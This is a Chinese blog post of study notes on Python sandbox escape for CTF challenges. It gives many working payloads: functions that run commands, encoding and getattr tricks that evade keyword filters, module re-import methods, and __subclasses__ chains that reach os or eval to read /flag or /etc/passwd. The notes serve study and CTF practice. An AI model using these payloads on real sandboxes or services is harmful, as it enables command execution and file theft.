python安全之学习笔记(一)

admin 2021年8月21日04:51:32评论49 views字数 10633阅读35分26秒阅读模式

暑假想深入学习下pythonweb的,结果被一堆事缠着,只能勉勉强强看了下ssti模板注入的一些东西。真的是菜的糟心,暑假又是一事无成。

0X00.浅谈关于python引发的安全问题

pythonweb的话代码方面的问题最多的可能就是SSTI模板注入、沙盒逃逸及反序列化,一般来说,使用django的模板渲染能够抵御很多的xss攻击,sql注入现在确实已经很少了,orm框架的使用,导致sql注入越来越少,无论是独立的耳熟能详的SQLAlchemy框架,还是django自带的orm,还是别的orm框架,当然了,如果在ctf中,也可能出题人魔改emmm不过我觉得他出注入题肯定是选择php啊(滑稽)。冷门的也有,格式化字符串导致的信息泄露(Django),如果是Jinja 2.8.1 模板沙盒绕过可以任意命令执行。但是条件太苛刻了233333。。

0X01.python沙盒逃逸

a、原理简介

Python的沙箱逃逸是一些OJ,Quantor网站渗透测试的重要渠道嘿嘿嘿。python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。

在CTF中,一般不要求getshell,因为太容易被jiaoshi了orz。我这就不管了,系统的完完全全来一遍。

思路说也简单,就是:import或者各种骚操作引入或者恢复模块,找到未被删除或者导入的危险函数,或者是,然后构造payload命令执行。

b、python任意命令执行的一些函数和模块

(0)os模块

import os

os.system(‘ls’)

os.popen(‘ls’)

能os的话,getshell思路实在太多了。等等…实在太多了.这是官方文档https://docs.python.org/2/library/os.html

当然了,一般在ctf或者oj里面都会禁掉。

(1)timeit模块timeit函数

简介:

timeit 模块定义了接受两个参数的 Timer 类。两个参数都是字符串。 第一个参数是你要计时的语句或者函数。 传递给 Timer 的第二个参数是为第一个参数语句构建环境的导入语句。 从内部讲, timeit 构建起一个独立的虚拟环境, 手工地执行建立语句,然后手工地编译和执行被计时语句。

具体可参见文档: http://docs.python.org/library/timeit.html

import timeit
timeit.timeit(“__import__(‘os’).system(‘dir’)”,number=1)

(2)exec 和eval

eval(‘__import__(“os”).system(“dir”)’)

exec(‘__import__(“os”).system(“dir”)’)

(3)platform

简介:python中,platform 模块给我们提供了很多方法去获取操作系统的信息,其中popen可以执行任意命令。

import platform
print platform.popen(‘dir’).read()

(4)execfile

ps:这个函数的作用不在于直接执行命令,而在于可以引入危险模块os这些来执行命令。这里我打算把他的具体payload放在后面的引入和绕过的内容里面去。

简介:execfile() 函数可以用来执行一个文件。返回表达式执行结果。

execfile(filename[, globals[, locals]])

  • filename — 文件名。
  • globals — 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
  • locals — 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。

我这里参考的菜鸟教程:http://www.runoob.com/python/python-func-execfile.html

(5)types模块和FileType函数

简介:types模块定义了python中所有的类型,包括NoneType, TypeType, ObjectType….可以获取文件的一些信息,其中FileType函数
为打开文件。

import types 

types.FileType(“/flag”).read()

(6)commands模块的一些方法

import commands

commands.getoutput(‘ifconfig’)
commands.getstatusoutput(‘ifconfig’)

(7)subprocess模块

import subprocess
subprocess.call([‘ls’],shell=True)

其中,这个subprocess中的shell参数phithon师傅在小密圈以前专门提到过 如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。

PS:其中Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True,PHP中的exec则类似于shell=False。

(8)f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/

只有在python版本在 3.6.0朝上才有这个方法。简单来说,可以理解为字符串外层套了一个exec()

Python 3.6.3 (v3.6.3:2c5fed8, Oct 3 2017, 18:11:49) [MSC v.1900 64 bit (AMD64)] on win32
Type “help”, “copyright”, “credits” or “license” for more information.
f'{__import__(“os”).system(“dir”)}’

 

c、一些攻击方法和绕过

(1)花式引入os及import相关

一、加密解密绕过字符串过滤

首先我们来看看python的内联函数。

__builtins__

dir()一下确定程序还有哪些内置函数可以用

>> dir(__builtins__)
[‘ArithmeticError’, ‘AssertionError’, ‘AttributeError’, ‘BaseException’, ‘BufferError’, ‘BytesWarning’, ‘DeprecationWarning’, ‘EOFError’, ‘Ellipsis’, ‘EnvironmentError’, ‘Exception’, ‘False’, ‘FloatingPointError’, ‘FutureWarning’, ‘GeneratorExit’, ‘IOError’, ‘ImportError’, ‘ImportWarning’, ‘IndentationError’, ‘IndexError’, ‘KeyError’, ‘KeyboardInterrupt’, ‘LookupError’, ‘MemoryError’, ‘NameError’, ‘None’, ‘NotImplemented’, ‘NotImplementedError’, ‘OSError’, ‘OverflowError’, ‘PendingDeprecationWarning’, ‘ReferenceError’, ‘RuntimeError’, ‘RuntimeWarning’, ‘StandardError’, ‘StopIteration’, ‘SyntaxError’, ‘SyntaxWarning’, ‘SystemError’, ‘SystemExit’, ‘TabError’, ‘True’, ‘TypeError’, ‘UnboundLocalError’, ‘UnicodeDecodeError’, ‘UnicodeEncodeError’, ‘UnicodeError’, ‘UnicodeTranslateError’, ‘UnicodeWarning’, ‘UserWarning’, ‘ValueError’, ‘Warning’, ‘WindowsError’, ‘ZeroDivisionError’, ‘_’, ‘__debug__’, ‘__doc__’, ‘__import__’, ‘__name__’, ‘__package__’, ‘abs’, ‘all’, ‘any’, ‘apply’, ‘basestring’, ‘bin’, ‘bool’, ‘buffer’, ‘bytearray’, ‘bytes’, ‘callable’, ‘chr’, ‘classmethod’, ‘cmp’, ‘coerce’, ‘compile’, ‘complex’, ‘copyright’, ‘credits’, ‘delattr’, ‘dict’, ‘dir’, ‘divmod’, ‘enumerate’, ‘eval’, ‘execfile’, ‘exit’, ‘file’, ‘filter’, ‘float’, ‘format’, ‘frozenset’, ‘getattr’, ‘globals’, ‘hasattr’, ‘hash’, ‘help’, ‘hex’, ‘id’, ‘input’, ‘int’, ‘intern’, ‘isinstance’, ‘issubclass’, ‘iter’, ‘len’, ‘license’, ‘list’, ‘locals’, ‘long’, ‘map’, ‘max’, ‘memoryview’, ‘min’, ‘next’, ‘object’, ‘oct’, ‘open’, ‘ord’, ‘pow’, ‘print’, ‘property’, ‘quit’, ‘range’, ‘raw_input’, ‘reduce’, ‘reload’, ‘repr’, ‘reversed’, ’round’, ‘set’, ‘setattr’, ‘slice’, ‘sorted’, ‘staticmethod’, ‘str’, ‘sum’, ‘super’, ‘tuple’, ‘type’, ‘unichr’, ‘unicode’, ‘vars’, ‘xrange’, ‘zip’]

首先我们可以看到是自带了很多文件操作的内置函数的

__builtin__.open()
__builtin__.int()
__builtin__.chr()

等等,我们就可以利用他来进行文件读取。

__builtins__.open(‘/flag’).read()

在Python中,不引入直接使用的内置函数被成为builtins函数,随着builtins这个模块自动引入到环境中

进而,我们可以通过__dict__引入我们想要引入的模块

两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西
我们可以通过__dict__做什么呢?
一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”]

我们就可以用一些编码来绕过字符明文检测。

>>> import base64

>>> base64.b64encode('__import__')

'X19pbXBvcnRfXw=='

>>> base64.b64encode('os')

'b3M=' 然后dict引用,就相当于__import__('os')__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('dir')

二、__import__函数和importlib库

首先知道什么是import。import 是一个关键字,因此,包的名字是直接以 ‘tag'(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入。我们可以对原始关键字做出种种处理来bypass掉源码扫描,上面的base64加密绕过其实是一种方法。

__import__说明:

1. 函数功能用于动态的导入模块,主要用于反射或者延迟加载模块。

2. __import__(module)相当于import module

可以使用__import__函数引入os.

> yulige = __import__(“bf”.decode(‘rot_13’))
>>> yulige.system(‘cat /flag’)

importlib说明:

importlib包的目的是双重的。一个是在Python源代码中提供import语句(以及扩展名为__import__()函数)的实现。这提供了可以移植到任何Python解释器的import的实现。这也提供了比在除了Python之外的编程语言中实现的实现更容易理解的实现。

第二个目的是,实现import的组件在此包中公开,使用户更容易创建自己的自定义对象(通常称为importer)以参与导入处理。

importlib.import_module(name, package=None)

导入模块。name参数指定要以绝对或相对术语导入的模块。pkg.mod或..mod)。如果名称是以相对术语指定的,则包参数必须设置为包的名称,该名称将作为解析包名称的锚点。import_module(’.. mod’, ‘pkg.subpkg’)将导入pkg.mod)。

import_module()函数用作importlib.__import__()的简化包装。这意味着函数的所有语义都派生自importlib.__import__()。这两个函数最重要的区别是import_module()返回指定的包或模块(例如,pkg.mod),而__import__()返回顶级包或模块pkg)。

如果您动态导入自解析器开始执行后创建的模块(例如,创建了一个Python源文件),则可能需要调用invalidate_caches()才能注意到新模块由进口系统。

在版本3.3中更改:父包会自动导入。

具体请参考:https://blog.csdn.net/defending/article/details/78095402?locationNum=1&fps=1

使用importlib库引入os模块

>> import importlib
>>> yulige=importlib.import_module(“bf”.decode(‘rot_13’))
>>> yulige.system(‘ls’)

或者单纯的[::-1]等等。都可以。

三、路径引入os等模块

通常思路,我们应该找到题目还给我们留下了什么,通常而言
通常而言,出题人一般是禁止引入敏感包,比如 os等。当将os从sys.modules中删掉之后

sys.modules['os']=None

就不能再引入了,这个时候上面的两种方法就失效了。但是还可以通过路径引入os。

在所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py
所以我们可以通过路径引入一些模块

>>> import os
Traceback (most recent call last):
File “<stdin>”, line 1, in <module>
ImportError: No module named os

>>> import sys
>>> sys.modules[‘os’]=‘/usr/lib/python2.7/os.py’
>>> import os

四、reload重载引入

reload简介:

reload()函数将以前导入过的模块再加载一次。重新加载(reload)包括最初导入模块时应用的分析过程和初始化过程。这样就允许在不退出解释器的情况下重新加载已更改的Python模块。

上面我已经说了,不用引入直接使用的内置函数称为 __builtins__函数,随着__builtins__这一个module 自动被引入到环境中,如果我们把这些函数从__builtins__中删除,那么就不能够再直接使用了.

这个时候我们使用reload()函数重载builtins模块恢复内置函数

reload(__builtins__)

reload也是__builtins__下面的函数,如果直接把它干掉,就没办法重新引入了

但是我们可以用imp模块继续引入reload函数重载

import __builtins__
import imp
imp.reload(__builtin__)

然后我们就会重新得到完整的__builtins__模块了,这里为什么要import __builtins__呢,因为__builtins__虽然已经被加载,但是它是不可见的,什么意思,你通过上述两种方式无法找到该模块,dir也不行。引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import __builtins__,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

如果再把imp模块黑名单再加上删除一些reload等上面提到的内置函数呢。上面已经说过路径引入了。但是路径引入还是需要sys模块的,如果再把sys模块砍掉呢?那么又可以用上面的读文件的一些函数比如execfile() 函数

>>> execfile(‘/usr/lib/python2.7/os.py’)
>>> system(‘cat /etc/passwd’)

os的所有函数都被直接引入到了环境中,直接执行就可以了

如果execfile函数也被禁止,那么还可以使用文件操作open()等函数打开相应文件然后读入,使用exec来执行代码就可以。

五、函数名字符串扫描过滤的绕过

上面都是说引入模块的事情,但是 ,如果不是键的字符串被过滤了,而是一个关键字或者函数被过滤了呢,比如说,我们已经通过上面的手法,引入了os包,但是代码扫描之中,遇到system或者popen的就直接过滤了,这时候该怎么办呢 关键词和函数没有办法直接用字符串相关的编码或者解密操作,那么.该怎么办呢?

这个时候,就可以利用两个很特殊的函数:getattr和__getattribute__
这两个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性

2种方法其区别非常细微,但非常重要。

如果某个类定义了 __getattribute__() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。

getattr 语法:

getattr(object, name[, default])

参数

  • object — 对象。
  • name — 字符串,对象属性。
  • default — 默认返回值,如果不提供该参数,在没有对应属性时,将触发 AttributeError。

具体请看官方文档。我这里内容来自菜鸟教程:http://www.runoob.com/python/python-func-getattr.html

getattribute 语法:

object.__getattribute__(self, name)
无条件被调用,通过实例访问属性。如果class中定义了__getattr__(),则__getattr__()不会被调用(除非显示调用或引发AttributeError异常)

举个例子,使用system函数显示waf存在。

getattr(__import__(“os”),”flfgrz”.encode(“rot13”))(‘ls’)

getattr(__import__(“os”),”metsys”[::-1])(‘ls’)

__import__(“os”).__getattribute__(“metsys”[::-1])(‘ls’)

__import__(“os”).__getattribute__(“flfgrz”.encode(“rot13”))(‘ls’)

使用各种编码绕过等等。

(2)引入object命令执行

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的。

比如说字符串对象,其实它的继承关系如下所示,通过__mro__方法可打印出其继承关系;通过__bases__方法可以获取上一层继承关系【如果是多层继承则返回上一层的东西,可能有多个】

>>> ().__class__.__bases__

(<type ‘object’>,)

>>> “”.__class__.__mro__

(<type ‘str’>, <type ‘basestring’>, <type ‘object’>)

这是最常见的创建object对象的两个方法:

  1. >>> ().__class__.__bases__[0]
    <type ‘object’>
  2. >>> ”.__class__.__mro__[2]
    <type ‘object’>

在获取之后,返回的是一个元组,通过下标+__subclasses__的方法可以获取所有子类的列表。而__subclasses__()第40个是file类型的object。

  1. >>> ().__class__.__bases__[0].__subclasses__()[40]
    <type ‘file’>
  2. >>> ”.__class__.__mro__[2].__subclasses__()[40]
    <type ‘file’>

所以读文件:

  1. ().__class__.__bases__[0].__subclasses__()[40]("/flag").read()
  2. ''.__class__.__mro__[2].__subclasses__()[40]("/flag").read()

如果要执行命令可以找subclasses下引入过os模块的模块。

很容易找到

  • [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
  • [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']

或者是调用过危险函数eval的

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

这种payload很容易找。这里列几个:

  1. ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][‘eval’](‘__import__(“os”).system(“ls”)’)
  2. “”.__class__.__mro__[-1].__subclasses__()[29].__call__(eval,’os.system(“ls”)’)
  3. ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__(“func_globals”)[“linecache”].os.system(‘ls’)

ps:
1.第三个payload提到了一个新的模块linecache, 搜索一下很容易得到这是一个模块用于读取文件的

>>> dir(().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__(“func_globals”)[“linecache”])
[‘__all__’, ‘__builtins__’, ‘__doc__’, ‘__file__’, ‘__name__’, ‘__package__’, ‘cache’, ‘checkcache’, ‘clearcache’, ‘getline’, ‘getlines’, ‘os’, ‘sys’, ‘updatecache’]

太神奇了,这个模块居然自带了os模块,果断利用执行命令。

2.

__init__这个方法一般用于初始化一个类

__globals__ 返回一个包含函数全局变量的字典引用和func_globals功能一样

__call__ 所有的函数都是可调用对象。一个类实例也可以变成一个可调用对象,只需要实现一个特殊方法。

ps的ps:

我太天真了…居然想一篇文章全部写完…结果好多天才写出这篇,还有一堆东西没写….才刚刚开始呢…加油

 

参考链接:http://www.bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

https://blog.csdn.net/qq_35078631/article/details/78504415

https://xz.aliyun.com/t/52

https://bestwing.me/awesome-python-sandbox-in-ciscn.html

http://shaobaobaoer.cn/archives/656/python-sandbox-escape

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月21日04:51:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python安全之学习笔记(一)http://cn-sec.com/archives/466950.html

发表评论

匿名网友 填写信息